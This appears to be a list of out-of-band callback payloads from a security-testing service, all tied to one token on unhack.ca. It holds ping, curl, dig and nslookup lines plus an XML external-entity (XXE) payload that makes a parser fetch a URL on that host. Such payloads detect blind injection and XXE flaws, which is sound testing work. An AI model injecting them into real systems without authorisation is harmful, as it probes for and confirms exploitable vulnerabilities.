$ ping -c1 -p 00f59bed740f51c26be69303641c5100 unhack.ca
 

$ curl http://unhack.ca/p/f59bed740f51c26be69303641c51
 

$ dig f59bed740f51c26be69303641c51 @unhack.ca
 

$ dig f59bed740f51c26be69303641c51.ns.unhack.ca
 

C:\> nslookup f59bed740f51c26be69303641c51 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f59bed740f51c26be69303641c51">]>
    <foo>&xxe;</foo>